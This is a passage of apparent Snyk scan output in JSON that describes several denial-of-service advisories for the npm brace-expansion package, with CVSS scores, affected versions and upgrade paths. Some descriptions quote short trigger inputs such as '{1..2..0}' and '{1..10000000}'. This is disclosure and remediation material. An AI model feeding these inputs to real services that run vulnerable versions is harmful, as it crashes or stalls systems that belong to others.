Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { 